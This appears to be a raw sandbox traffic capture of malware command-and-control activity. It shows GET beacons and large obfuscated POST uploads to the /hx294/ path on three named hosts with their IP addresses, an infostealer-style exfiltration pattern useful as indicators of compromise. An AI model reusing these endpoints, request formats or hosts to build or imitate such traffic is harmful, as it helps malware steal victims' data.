\x00\x00\x00\x00\x00\x00\x00

http://www.standard-idea.tech/hx294/
  • Hostname: www.standard-idea.tech
  • IP Address: 195.154.36.64
  • Port: 80
  • Count: 1

POST /hx294/ HTTP/1.1
Host: www.standard-idea.tech
Connection: close
Content-Length: 2200
Cache-Control: no-cache
Origin: http://www.standard-idea.tech
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://www.standard-idea.tech/hx294/
Accept-Language: en-US
Accept-Encoding: gzip, deflate

JBZ4ix=G_HlnJpELY8kTkorBdQi5fv4KhBInubAO2bEjtgy9Sa8uN(YkL3qbdu3q4BcE1eWl63341YqNnXNnSg0xjUoHAp0(74bVQ1B6O6Jo3BvKFvi1mcCDWhZW8YXWbT40wOoruLSMKwPcaopELPBa-hqIjvXcYhleD(mTxaTbiIvsaPNEn3rivI9~TpU31pzbqsN2Wgy42s2szGcFAQNoasvMemS4BYXAhACGxEwMNgOyuZaXLTXZzcOmZEmRz03pJJERVKp0SFvXwbeLtJL5pHrAD~RvjmcL1aZ82LLJ1qfrT4W9OvtWyS8uIvSV6nDPHD9CyTJfx1bDP~paP3xONPaE-U-HTk74ta2tV~X4XthTeq74LchYF9s20DJAjFTDW44t15_dZSzSqizTot_lLJ7oaZ924KpbVOsdIl08YCF4V01uZfNvmb_CmxUpkxynlA89XKnuPt5M_(25ffp5YiDxevE22Kyy1nBWptg04ieOEuTyfsoIf20oAzcpxZY(ehNur4yHZ(_kMN815cUc-ViYWeXc8g3XbgTF2hawL8JLFmZnZnoLU(Zcb(9yR1XotBPlyUNoY8EdOTHbTvoPOFW9x756iJTP038cxkkl5WdWg2mxZ~SsvROROOogpg1kHs-o71binjOBmfiJh1SlOHERBV1WTHj6fqU8qOxsKVGEnZACwVjLpXXmdKac-Mqy9dI7h5OIRPQ~5on7Wo6u_Q4XLmrXVwfgzeAuRcuD-QYC3r2ohlpXjPSrwEAoC1T~b8BozM1KjftgTYoANpEU7~CsTy53c1IA0hRWGnlK1aM0e8mUfTuTSRFtTPgEugFhpd_oveSz14_ak6Wp_cobDSuxdvfcw(rhIhJ01Jv7hPQ1WCZdkYtLdDdXa8GmVY4Bon5CxtQbteQUnV2yB1-BDZuBEKSPy(CuNdrFRJfOsyT2yJhRwm4hZ8eo2Q2wa~lXY1zw0ngawnoQsn8ui~2IDaVFAa9oGt7xSMfklK5sQhDlQBjo0UjyQJ7PMec0vtpMuURLCavXsMQiwE80KvWLp85EYN-qQ5PKAEvaoeLB3ZrLvfv6rPztakrteKtZWxCpbHJSb~QdNuBrUrkrY3TZ0DO03Z71PB3JtE9pn(N4E3ZGWsvhTnO555KMUmdrOEaeMflP4gOAM0nT-YbWvZvug(2HndeCCZ1MG5V2en76_RHIjQnLkDHO3ddGTfLMGcgyixLdCjmJf~UGHqyzIZjhuBWFOg3qurOwaLfG3DnMObs(L6a12G1GfxuGU3BMnst7XBZZnNA9IkYAf1W4gU6kLJioiMFYUhDA_gHR5LSsuSvfHQ4KPzmsoLknGAfuD7leDZlEopxHXRS5KeZnQAeLoIP3riztVobnY1YAy31T1(cl6Rn39SbgL3Yzo(YQBDsvBPttG8c3Wly(iqDQtRyIvVJZwY0EeRYdfsVvl(kPBpbV54OWVpiB4UGSnFmHzveeTRkY_lJV99cHqwV(qoi8JdcdQDdsj05bItB0qUWMuRmicAXc33lx-pp9wgAJF(QGNsJJWgdSI(keq8_P4biQ-x77PElNOPR3cc2Y1ogJO29J8igT-xjXK5Dfds_ilhSfIUqRtCAV1VgGXhanbllrjM7H2HNIgcmQnXAZzrzk3ZVwD7x(yZwDeqxn0kNSEVbl20kT3zNXiAH6LC5X04zbtElwUnVD1kgSqGHtZNCO4xZAtd5AHAZNGfbnwl0wuufplZA~5YbfDJOdSDfWsMg79f7mrzf7qkfIddXJu1SBVYMpqmHCx1UnWmhb_7-rMQCWz8wuf2uIsUHXldugJFeML6XFT3E3-cJuFWlKY8BUjzEpZ6C82rbh8wPAKJMHgAL5uW52Q7UkWA3z_ZHlCUI4sePM-9ipmaMVxqBsvFOqnl3eKgVT_nsKFuvFON_8LQThwVUXXBZVI(ncZzpne5v871cNqAJQS(FiHT6LUcSvYUBdKT0tGjfAoexFYyr7zOERafOFbx8myfLccfIEabT127rgJHYZqPSSoO79i9Q7jEY(2qzWiwh0Ufw4qyuiDFJGFj6KmDVduGGCeQn1eK0lFa4i-e8TM5hLlW0A0HMxqwghC3UeuRhTsviZUFMjzh5kfQATB8iJBcyZjy6e555Kxycqi6DwNTJz2x2bgS16vE89VQ584e2uKqv658m9zvG0I0WoC7DphbPdbpb\x00\x00\x00\x00\x00\x00\x00\x00

http://www.standard-idea.tech/hx294/
  • Hostname: www.standard-idea.tech
  • IP Address: 195.154.36.64
  • Port: 80
  • Count: 1

POST /hx294/ HTTP/1.1
Host: www.standard-idea.tech
Connection: close
Content-Length: 57164
Cache-Control: no-cache
Origin: http://www.standard-idea.tech
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://www.standard-idea.tech/hx294/
Accept-Language: en-US
Accept-Encoding: gzip, deflate

JBZ4ix=G_HlnLZQIrR8YCdfFYh59P(JSCtGn-iyHETYjtQ21zKxlI3YiJfpBtu0s4BdTlii7dq64whiNnPSpRoxm30_FQlE97sSECdC6sHIkWZvO1bg7QhBFntVe8EZe_X97jGgtITeJKQzW7QgYaOPV8BuXD7YT5ljekPyQ1OxUCRjvaLTB1v8iqou2wgp8UsNW4E3yQAy(HkcmROSJjYVqLsCJuW77DQUOSYFDzsgBJwf~PBod82gfTI_vpULJkpjoadZSQih5TZUVCXaAYd_4KrdHw301S~cE16fxQ3DKVr7nzwskevFWyWOs4araanFQVXuERjBWQEGC76pAtvYHrjBLeUfOj0o9ab6tVvA7HVhSYy7vqsmaF9s4UDHAjEeDW4Ft3ZNcZazFaexRa1xkYUAkaZx3LSvMFzBdPJnyYuF(kQyr9TBozv-WUtEy05inlMH~Vj09do_N_(1s_rAy5jS4ueA~VqJ3B3rWJ5l0ayacTmPrv5fDNb1v0~Mtx1-xLwuvPoYXIzH07921us0ealQR2iCWbRsd4osTS93irgnTTqFpZrFPnKYZ_a7(DZV~cRK1S8KnI0NaOXiMXGYPs414kXd~CViSFOpVwMIv-i8SDDE4PiKwutmaNWkvvoBimZ6k59dnBmwFG(LBSVwr7HkOW0KHQjV5eShyr76m4AkBEV5XzZFCZqCi-TxRN0c1ckZmxhbRifN9odX4nMGhtMTboGnelAXjA26uQlvAOEYD3f2iGxuZg2ajAEG2y1fgrwnoxMpLirtmi0qBOBSQrL6izyHkYtbKVBGWELLN035wd8lRfzqQSR8s3PxVOsI(aFZofaC9VFkTGSG7cktJxul1Zj5cQyyvpdUzElpmjHAtD2vRggXYMbrTdgbwhcZWMXsDAcSf8rtbEc68XgbPCRADHe5DSfnuc9PURBqPMXwh1csHFX_hJQ873Zwxv7-YddZyGT_bByqb8zZtgLFMAmwCVvrom5WuDUsu2yg3H0fphYxlxh660EnQ5aAmdhTKPMLGS(ae8tuy3VHxZPAfu8BGugd6Q9yJEFMFPyoAHALbo(C9ZDl0bYPu9KfZFcgkaCWP9WvWbaco1iWvpjveVmplkJK3-58CKonpmvr4ljZHGkvhAvO0dx_GFbEo9guccboZOwMT4M4RocQStcv31SNMVZwUgVGFlVM0uuE(MQ1IhAnMH3WKWh8UCT6Pmk8wyQLawGxFP65C36S1Pdp4ddpO40ZobjlyJSROxLDPNzvu5~KmGuaHcZ3PE6YB3le23VUGQReltYJLulCzyYwg5VqhjojWTpacNsfUJia29CMJ0xRGt2Z8JanoBA2jSbhEg13WKcDJy5U(-OVjwEKDNlD4tq4jFU_vu8vKDi3TXvBmpV_t-uMo-LRzKfFVRi2o2X4pzEphj5Pq0Wxe9VLFsFcSg08L8kFfLoI01yodjsoWrppdgwiCpc4fHEgNj3KVVtkY-MBNtpFVtIP8_FYs7NhNh7cplIkcKIe5KBbIPh8g_xWW0fL9ugUqhQQNECxC58GMSwGU7Oid51iALPiSOQphe10Ntfd6MsYez8sf9~iJ-GrTeJGe7oJDt5jkkBwbpgTbNKxI0dYJm5465dljyQBcFzRAA8wRmXcAACz1wBzwznl4hsvUqXcpmILDwgGv0MhX3ntRCNm2LGPF3Q4Vs57ohO0CFkAUKi5spAHO5IrC6Z-AHIeB33UnDFm4MblqmBipKZpMX1KUASPP6A3zcOtp5e2~pQHGctlIMRiRSg3pbWVICFusFO0apzNq9pQelBYmMDSMt0qVnBMpJpfNN2MM3TDwvEuvjPCNdQ5eizch_uL2gvPi8sKK6VOFBph2O6y~ATiymwK~uVHvEALxsTSavY7kGGzbjSL(uJeihVEfrgqVOPbKDGfMeMV6ohg1GgoY2dXfs~AEcaLgfpX(LtcaY0vaCnkpU(ZG14Oo7lxP9T1llDRO_WjOoWE7Cmpa7i0J4d9jxTFTr3NdqPF23X2qLX8YP(6Sp2o4k15xy4dj3SsQSErlQfZ~5OOlwF1KwLoHEOzbuifRv0Sxbmailu7p-2TSex5aV3pAWDe7IhFqFjvSedwfOviTXYIgi9W8ZkIZW0vNzBMdC~LZ61Bexu7uSPH7sG26UlEDBui6JAz5Fw-9bGw1Irysawg60ev884slyWw1F(5NslTy4Ytbsq17M4FI61PxP9vOkJFOdo25T~_kjvOJi0swEBKqhb-y2vgBQvZn1g1r8tF5rJlw8eGp3(OAUFR57Lm~n8uyk6WpuA-Xxx4LKCPA7AAkGUhXctec4JLilL1c4QJB3qXqm0OJEapKKJeKTWYkQuPlo54gUXUUhA2lOqYW2kso7QCpHV0HW4z4S0DL4PtNJ30lzDEfm

http://www.megansooter.com/hx294/?JBZ4ix=Gx0HFerdn89S6JuVIJg05KBJhCnd5q+w/9sVlhURUNmYan3kxoomisQLx4Rwg4XbdX07MwZv&BXIxB=E2J8TpdPzhf
  • Hostname: www.megansooter.com
  • IP Address: 69.163.160.18
  • Port: 80
  • Count: 1

GET /hx294/?JBZ4ix=Gx0HFerdn89S6JuVIJg05KBJhCnd5q+w/9sVlhURUNmYan3kxoomisQLx4Rwg4XbdX07MwZv&BXIxB=E2J8TpdPzhf HTTP/1.1
Host: www.megansooter.com
Connection: close

\x00\x00\x00\x00\x00\x00\x00

http://www.megansooter.com/hx294/
  • Hostname: www.megansooter.com
  • IP Address: 69.163.160.18
  • Port: 80
  • Count: 1

POST /hx294/ HTTP/1.1
Host: www.megansooter.com
Connection: close
Content-Length: 2200
Cache-Control: no-cache
Origin: http://www.megansooter.com
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://www.megansooter.com/hx294/
Accept-Language: en-US
Accept-Encoding: gzip, deflate

JBZ4ix=OT49b4Wsks9Bq4anV8Ruu6gmoRD6v6zy7LxwtgEwU9mBeifT1eUm3cBGo9pz~qrtBk1EOkkjiJ0KTydTPIpAYXjjLvbA0uPC9mBlIPdnsJ(2GL4QWz1x7mN59ni4dW2nhmdAM4SL2jex14xh13qIxDqZokfomhWnz7SF5Iy_ZB9TKKWzUraGo9vk4jZdKwWOGwI2Foe6ol7X(uRLxQk0ol3bq7OWgOS2y1zuo0mxdTHU0VEm3Y5DXKkWutc8mwCoKXfSvQDHc_pWotlYdtcWfPU5TxMRFlzJC2RbAox6goXUSop2ikEuZb6f7zZURqHyw5ANOiDphjEhsjhEQlAmhFQ36wA7Krv7irCZAnIrS7Dp61WkImhzwh6ppygPpC(VGVcEpmEfGVSZVqOGunEilZUad_bsI-lRJT6udeowhLTngxc_O7O-P1bhALpfRaYijOyGZVZVCAUrt6OcJNUfapDaqJNEq09ZY34PWx2Zs1qPe_DKjF821G(L4vbuNbh3jlXJwwu8tODmy0semXe0WwUzcVD1E0nK2QsVRf5sbZzrdXGicNylrLhs9b2c5EMjfrIf~j2UC-31fkvbv7UIrGMwJThTjIIL0q4btCneAP1_qm0e72ZWjq(4NFMT~zIeaYf0qb7J0BurkzDy~34ZQ8hpDgB0T3l7hNrhKXWcU_IwDl9jVg0WGKpANNucIfavWKpYjTO340fe9Qh0mGVwUvc85EkfzmlRh2A9qKurRV3geobU8DnBeAuu50MDQXVY0bdR9I~n07zZEPKBHxZUcz9wry53aw3r1U(DydMiZBDOPn6s1czFBnqczzCePIDgYirwiV1xsXLtGm~uIg5mbAHWd1gBKnj3rqQ04rcJ3xU8NDyTHaJ07jf9XGQNY2AqoOksOdClbeQ1PWFpXPbgnYs3vdQd708HI_hufl4CIp88Ck1vwYRoc_kUu5TB5IHeqFPfRbVGGfeU5jRRNI5bKzi5tfoW7tXsAoGc0oKq1NNt1W5gT45QuP0GN-TdZjk1Lqz5lhEirDKNEzQvzwauH9ZiTDpvlld-ki~Dk1wwRpJegJG0MTEotAUSw6b8fEqdspbYlAcdUmcTfL~S2sog4Tzog1OwMayebGuUb8khxFv4Hcuux0U_V8QgZca7(DuQPhRp7SOL4fFuZOkPDYyscFnV3sBLSIFKg0exUHHDCBrgmES5SXGAMV3hoeIwI5QO0EZ4ZjbbElY_n7xb6-beitGN3rtV5rpr~ey1B-MPJEFWI_KqGVbzSKkKaPPYEoqieAtMKP~ll2j7QrfYkXs1~i~aDGGtZkyRs2U1hVxtMlvSWhlrFKw_cRSjmay5jZASKylVjrMPHWMuVawQsg9-hm4hiMNaM5tA6CqmUOtpzSQmWvPl8EI9PgItJRvlBqKkp2Yugu2yf0vXKMYFEzDJz46ECLwXTT(GPTME6iCZn4fJb7r79Wt-a4Dj6udCcddUSqVMZWlbfoGJOvXnLLP-~6xCRozqYirOPXW0eP0j9I6d9AcHR8VUEHJXpcolFRH3VX4l1CLvI_gy3Im4fwnl8Q8Ot3dhpYDv79xTBfIlst8XDZjuDJU1s4lz6TpPvceZr2HVBannnjk_~csJ4TA04CoBRdYL1K1W6PT23PBlB3Gtc38m8JGFyculIAg6g5TxsKok1o~P3mnvH0h3XFo4f1(ExHw3oJGyzMZ1DnyJykLCWy~uxq3hPD3mc3n3TxxzZdmVMj1ZZefhZSPCIWBZQUX8DS2xDNfN1YHTvKAe9KLAZQ~sPOSByxQ2isY9(TUruQz3HpdVkr6wkq33D0MPmMShmBf3Y1x-xSTbWHC6R0BTAks_21oP9i68FUt_CSqAnDQyjtHBO9xuD9B_OBJh6MHQFBTK2VF7smiacA8TKOSBZnAgyIHxSrjZwff8GXRUHt(Q3sH1pq~97S~VaZuf5WUda-r2ksz3my8SkASdB8(HVRsH~x~gcloGyI4oD4HoTxExtDn7Uo8wFl5eYLakZv(L~0iV(UoYbK~oTm~jnbQ6PNQtFsGi1ygc113qUollT9bFGaqRKnRe289ZLLyARg5QTu4CuKfsVlnNLR7NNRfh4pKTJl8aB062ufBiJyMHbTlGOE0h7FxCxdlcUGGajfs7Ylhmp3SsBJ(Z7nE-E0FCqKw5hxxYXUsV2CT0eTaC3acQXQIi0nLc\x00phbPdbp

http://www.megansooter.com/hx294/
  • Hostname: www.megansooter.com
  • IP Address: 69.163.160.18
  • Port: 80
  • Count: 1

POST /hx294/ HTTP/1.1
Host: www.megansooter.com
Connection: close
Content-Length: 57164
Cache-Control: no-cache
Origin: http://www.megansooter.com
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://www.megansooter.com/hx294/
Accept-Language: en-US
Accept-Encoding: gzip, deflate

JBZ4ix=OT49b5eSm8pc7siyCpMjj6xUmBHwz4yAlt9atlM0BvSfUiPTkN9ujMBJ5tpw0KnjdDIIOg8ZiJ8JczMZeLRXQn(1JvfZwt2wzk9DNLhnhZjwI9MbUBdlzmR76ViLTE(SjAkIFdmjkSWEpJxJnS~U8TuanHjumGuZ06TWk4qoTkdBcIeBUui_yteYszhmDnm0XmE2CYGqmGzVwNJDwjNM8EHy8uyd6Natz2Kri2LHfSPYmC5Z6Y9YJq1Zxu98mDGxG17JhS38eslk8NFscOwke-luW2oRPVSCSk4UFIwUmoPQdIofikAmYsK50TZWeIjhgJYrECyigSUhvAoCHz0prlRpzEsoObT8ivuNBXArT5np~VmnKmhz6B6rpygHpC(8GXsQvWMfAVehUY2c(B0GpZUGa8CzM_Z1JVrrd_Ewi4fgr1R2ffi9BXHxOoJPRaUniPjld3NABAUq0Z6xeYhGd4z33asyokpgbToAYz3Nt2fYSf~_l3Q61y7syMvmAOpikx(z2TqE4f74zChJqWL1IgpJS3W-B03lxkw4QMkwJ77_Z3KTb_G5uq5Hn-uepl8iIo4czzObB_LUJFSpoec2hz4YJz9ihMEl9u07plL_HsxSwkUvj3h1lJneU34v4SMbTdj2uJDqj2aOqEuP32c1ebBVCwdGfWcZvJz7NxWpZ8knG0J7PBJBX6J6JfXPL-ibaMRnvRu69lau(lxI6lJLEdMVnkUHzV8Nh2Y5r66rQVbgarDT8kTKQwvE90NCPHZu0ZcA6IqnkYbbFMOfCmwuST8_t3RyJgWb1WzXzeZZdH(PFGagyczIACKnxz~tCrLKYyfgrEkq8i(9Xn~rKFpbNxn8cVsTF03qzeY29c4ZlQs7CCSpBbR82AXsej0WfiY7t-Vze9u2Q9I-FDRfXrOPlb4czOYO7ignDsAEeFdVSL4ULGwz(oktK-hcvNGW4sWa6n6PZ_UdNOqX4iNHa_x-LmWSs_lq5s(hK_yS47KtzO9A02R2eZUbw8EgNbKofCszH96KxGQroSOoGCIl7maCGLUBAjtkkg175iWgmGdQT6lvhcXtJGEQvjkw5I2aLWark-nd~CtBH3E2Sfvh9e19~RiMz0W3bJaEbDCiaZMh21n4HOWu7WQCRNs-ZriL2zqnKjVn5wnV2tN7TswsXpKYaQ(31t1OFbIMnEW5FE3CCEXgmjSGEnqhNUrI~uwsHJwV5WtsfQniM3QqzLIN2cHh6umZ1aR2474rhJCKA8kMIUZsOb~FUGjEZawmDungGouzXHxkSOKss1bJFpTCgkwHwmyob1aCcCTcpCoy7GhgcU3uJyBcM7h6EDGeoKT54_42b1dcpK4Bd0wiPKFTkFYrtk8Ai_JuWKZQtC~BXs8xzDMuc8zIgCcwPBR3Ky3xGdbs4zg5nYyfHHiMEccOHSaLqY2cf-gPGivxczJpxSOMku(neqHy8HpUXYD-huVWWYJUSqsFDGh0c7yTO-X0IJ~e44xDB9(Wbj2LG0q_bp0bua6JzDk1ZstmRW59j8kHTgT0D2sb3V~3KPAW85a4ZEaBkhtd(G1H0ZyM98pXEb09svYUD6ipHZgrj7I24Wll5NKs5m(sMJ3ToRFqwKoJ1B4w3jkvc-cR0NJKwN2vhoZPBHaiMkJnt6O38Ie_PgZ_qL747asA4oCxpAbjCmJoUlklR0OV~XwXqpyT18UyDma0z3DBWyGt5bPkPRWlRSDkQy57TaLMKDVdVPGgQ0TRD2wfeFTIGQT-Do7vy7ispNIt84jSdHD9Tt6Q2HANkdh_5lIv63LgN7loirfPuoj0E2kmosO6ryS3ZWcZwX(_MWCYaRV4XXMBzxkf3S26F11WbyGToRA6zefGMM9uGf5GHBEm(vHGeBPD5EF19jekJy0oKvTRfUQ9yIuAZ7jR9dvoJ1JfT6nwoO7Xieuc8Q2XTI6fulh0L62_yfefvR8Oyx6-O_DGTTsFrzb_Y0MTy4QVIsCabSp2xxr1fa41Nl92ZJPkTu3v8Q65(Q4LWY6VYzm6rOkyJ64jH-yHnCFtyGGRW54aeZLjHJ2lJjUu7Y4ONqGDACJ_dZUaqLzIVHiWH0vjeXHCnIz5G0UaPyT0nsUDED1KfhxlM1BCmxZHyeoLaWqtnvwkdilqr3uWTdXCpyYlCWdbrtM_9wJUV3If2U7dRleRxJh5V2sk8h~Smk17OHMLns29PlLamVCgNVoU0OVNCi59ek~xR_Cp35gW8uFjjbPVXndlc9YhM_v1fyyLkz9IOkAQn3Iv4_LIiVssWOZLHx5r6w01V8Lxl9GG~mhEdFVjiKXRRl(yU0B2ZCV0V75-cgYvxgBpUhDbR2~_O8ufS5j1VisKSZBg3ZWPwChsjdbOPdaDvrySZ0ncWMV9d5pef9Gh4jLnbFk

http://www.leonscastle.com/hx294/?JBZ4ix=6wDa8CWymKCqZPhHCUqE/Hsei3n7ZHeoDQ+BNhn1hZpKGm64CJ1ztLi1RR/EuCKgwt0jVALC&BXIxB=E2J8TpdPzhf
  • Hostname: www.leonscastle.com
  • IP Address: 198.49.23.144
  • Port: 80
  • Count: 1

GET /hx294/?JBZ4ix=6wDa8CWymKCqZPhHCUqE/Hsei3n7ZHeoDQ+BNhn1hZpKGm64CJ1ztLi1RR/EuCKgwt0jVALC&BXIxB=E2J8TpdPzhf HTTP/1.1
Host: www.leonscastle.com
Connection: close

\x00\x00\x00\x00\x00\x00\x00

http://www.leonscastle.com/hx294/
  • Hostname: www.leonscastle.com
  • IP Address: 198.49.23.144
  • Port: 80
  • Count: 1

POST /hx294/ HTTP/1.1
Host: www.leonscastle.com
Connection: close
Content-Length: 2200
Cache-Control: no-cache
Origin: http://www.leonscastle.com
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://www.leonscastle.com/hx294/
Accept-Language: en-US
Accept-Encoding: gzip, deflate

JBZ4ix=ySPginDA54GYZo5Cfxz5nRd_p1LWZW6dVXvROQDphqZ5Wl~pOddhze(4V2(67xC-l-JZSWazrIdJnbmbEkA50BaJEoDknLB-HyVOO5sbLyJ_v3lefDlQ8du-19pgXJysfo~EVFWUJuTParlwwenedg(g6NHyztotVt(QrWF0IsXzYkVbWwKSdJenHF4jyPcIZ-TIpdPkkyIuXp8HeGbCY27kEjXeeqDpMxUnB_kzNMTRc3P5LL5vASy67jprj-j9frBS(2akarPE1WIrAGQZQvf_ykycrjSIEwQv2swq4vMVM4F6DFj7HeEc7Og_oMSVWIQYNns8wJiCO5G5aHydJxE-YjUoqxt4BxbyBgo8QEvF1Xypqm2EA_BTnJJkrLydQHrQFaUMCAYKGSBwZm(D7NzmUC7PmrSu0GSegp(F~j1_olp_hVf3b3jJvKMSRAuBn0Teijh65UsdDIBmG6tAJYfSsBLnvvf9Ndf0tYHt8Ce5~JdydSsOEE(5vw~GyblZ3r13nybq~XibOMS_aZ7rYVdG6Hd0Hri6zThuxTGoSqi0PgFm1J8GAlaFrJByKM9XVM~jfG46M4Oh74zMbGrR2uSP18ntKIxuVO0p0NoEgEoPIsLsDBB_XDzSShBe8CL8yf6DRLqmatI2Uew8MsaVQ-BXMfDwVHB2u1Jh~hktfvM5kzWMMgxBx_72eIZka-XeVvnn43enWzijxoahpKbaEWnN~iunOLzgPkUK5ghHjENcMM1REujNrChCd0F5k_PQyd35aYUZjCDASS7aajFCj2VbSrSwue9e2tZNUNaMwS92W_y1M9mxMyIocxkMjJzXIDZzuPqm0oqkn0eKGPpa0kI48z6HWyWpujOjIrWDvpnUYgJcX2B06-T4jWovV7CWiT~7RkrSRwzpWqiVQZbn7Q03fX1_O7SVSrf0vJyB36AlygIh0E7vhByyOKfN1VhqkxOdnGFV8LBhb02_hcCk0vA01WRvosPwOEKq1wfoxCFeDvDz6JOdnXMmu3SYjtgKDkYnp2cIpkw5tr4n5SJGpJI00ItjegYWpd5-cqHH9SZYgl(ZqMjF04SYQo6qTAF0XRtxcQ2Szot4p_5sptyLIiVZCVT-BlJMz5jtlG7unUciChTXsU5kPICPE9WScAKD3WfC~ehjsUYk9ukEcKEwoHsGwK(NWMGgZtX5cDaAr2OjfEpY0jIREOymiWVQ2wXZceGlpuTnN0Rc34KJ7ZSj4qtgG1tWr-ncHiWefr3vKcpYW8uC6BcuyZ6hBHAtNeagOqgYdc3cFxsH~ySZC1WaHp16(hkw~wLvJuyef5QQHVzuFBpGEKIrJB7cTzMB84GLI39OhGXwIz5OGtkpiBuJ(3~EzsAshoodghg8u3ltdbg2nooGIPNuFEVD~dDw3DyTg7T-uBBMwCgjNGkEMtf3x2Llcn5yNwCP10o-qVpNFsx0fPuOOOOXYmSCwQ34qOH3zkWqYmtcvSRWHMbsUFCRhYEyWTRMhmxUfM0jiWDPDbW6BGFln9QMfvuYGnu01jcHyUEZEqEZ(RJWmYsbgPj_fiC7TlNn2KGzqB8ykV8GUv5r6swxD3831QpoYuHLAmWpgGTi0Gr1o6nC~xPJsFFKW_jZQy7P19V5UtzzrGs4XBvUanca8xVOzSpgzqSv~1jZtshx4Mr2i0fQevSpdYD2lwyUV5peaMluCAv_6T4XI7omcyyMSXcHBOO7y3ZaizC6ghDfs_cN1TeDHmBWEW(NQyx230RVSTwCJXXXo5wv7nvCA4ovwgypOifbWy0hF7jRpG24UaGcpHzrvB6aT2FBbn3YlFflMZXhsOMO6KFO(dQuYQUpBRxwGV825Tr6GamPPORqRIcdmDP58UakNUrTDIQNJLDI8c3FvZZL5z(zMib6kQ8tpOlbpaMprWQeeGNfnZpV4m(sgimMzXvfY_tMCcMt7LPGbXVJOe36tnFRMkKQJBcKHA9GLOT9H-M91g8kMkhkGJraO5qz3lOdbTaC6ii08yFOhehpNz0Py29cOP0fUNgLYLkCT57t0lgiZOl1TvX9WTObez1SAtm1gjzT2LXm0x8TndF8Y7stQt1Q(M5YO2pozOFSk6DtOYAn6fpv0g5sJESFzpI2~08Y4mWLs0ePBoHuwklGUBgp2CbWO6NLHEpK(6PxMO5d0sUvUsV-sLGUnHyMjWML\x00phbPdbp

http://www.leonscastle.com/hx294/
  • Hostname: www.leonscastle.com
  • IP Address: 198.49.23.144
  • Port: 80
  • Count: 1

POST /hx294/ HTTP/1.1
Host: www.leonscastle.com
Connection: close
Content-Length: 57164
Cache-Control: no-cache
Origin: http://www.leonscastle.com
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://www.leonscastle.com/hx294/
Accept-Language: en-US
Accept-Encoding: gzip, deflate

JBZ4ix=ySPgiiny6ICSO6R9IDLptRsZil(cUlqiYg7nOU(t07JrA2WpIflm5e(3dW(1xR(BmpMUSXONrIFGobaCMmpj2RW5csSn2459GQpKFsIbEj99119BdyZc6Ny87YVTCuHIcNPDSHvxNqXEEeQlw4DSSwDvyu74zKYDSprYymdZW53HIjBTW06BJ5uaMmYYuJYyd-nIrs3OvSogbL0faVDwPXK-S3TZUezULzt8eOgmPNrdUFGAJrNSJhqH8gJEiuPWLNxaw0vaW5DA6kATQRwBQfvF1lqchXiGHyoRyMwJ0PUZe4FrDFXzFtZjn-gDsKCGQoIQCGcK~c~CMY2qPRmSUBFmVTE_8C5zBxLYHQg8RGLFy0Kqom2EZPBVnJJ8rLygQFbMDqcMEA0IGhJ2Okjn1NziVHXviruK0HbNgJjF(wZwjWh7phz0QV(Z4aVNRAyYm3b8lBlnrkseaodPNfZmAtaOzSqboe6aM9Lnt4~s9Ff4zpZEYgASFVPgrwSe3utylbxn2j3SvlCRO6~fXcDFGG55yhJYCqzY0hNXwDi8G4rzMB5PjP0gQR~u(vhsfdtWEPOkCXRwYZyEsYTzclX_8d6v2YHmGqgLGO9en6dgx3MuC-apPwdMCV(odnIjtyP5nPrKbOuFZ61cKtAeTd(yNPBnOPelWG5pxkta0jhFbIMux3uUI0Ig2YvQdaxGdcXAXMWTtEO6FSmGho~NmYH5CkGlzTe_N7i2Pkc45w1HiEpcIPtWFPiFhyhEDEF1g_CDyeGmbb4ZiyzCTRjQd0tlsWVTeOizqaBj2u0XatWc0R91da(dAdm8D2I5axYVtpDtJw1j1N~2yteKjn2FEu9RlQFdz0zKNXvFhHWtG86TnMbmFwtMV09s0fC8q0YKEaHCgmDkVwTnZSrye47GQ77VmEMUaXVaPtnwDqmmvq~7hZU3lwVi70OqykW1J73R0xxu1yrc8SYWwbFiKFbMyLC82dRP12kGwdn9Xiig2D(z3TM8FOmql8GmoyBPvVeu0c4MaGEfilV8vzQMqsdc~UJi5qpfyY4fblI63-oQQ8CvxitqzHTDh5bh2f(3DbXKeFlkITk1RCWP8sh3ntF-956jOhE9OgnfFmRCz7LPljrulkkiDy3Xh0VZK9qdHK2yAg~r7zXAttJ8ghcXu6gdXIUUuUIoiunEcvq5dcDbaxqnrzSjGnhnwy0wFP(-2GNMkTvOXLe58uW3HR9Wiqrv~YmytvQjAXYwrtOSYy66KofsJI4tFsGboXwZ5I74In5eWefiGpZBJdDBTWoTmUSfVVuSJYNMwj4l1yH3ZuaTV7ArC2TSHDthDbY9CBHxUCsClbqjCnBD0zn2cRF4LtRwphGtwymhxbpN9qsroTNgrlF4eK8u9u4VQN8WEhpk1tjk7UqGnKmI4ywe7i0NI2gDLMru6mWmC0M3Plunuk0C839bC9VeKNqXC5S1fmSflTG5~773zi~uWm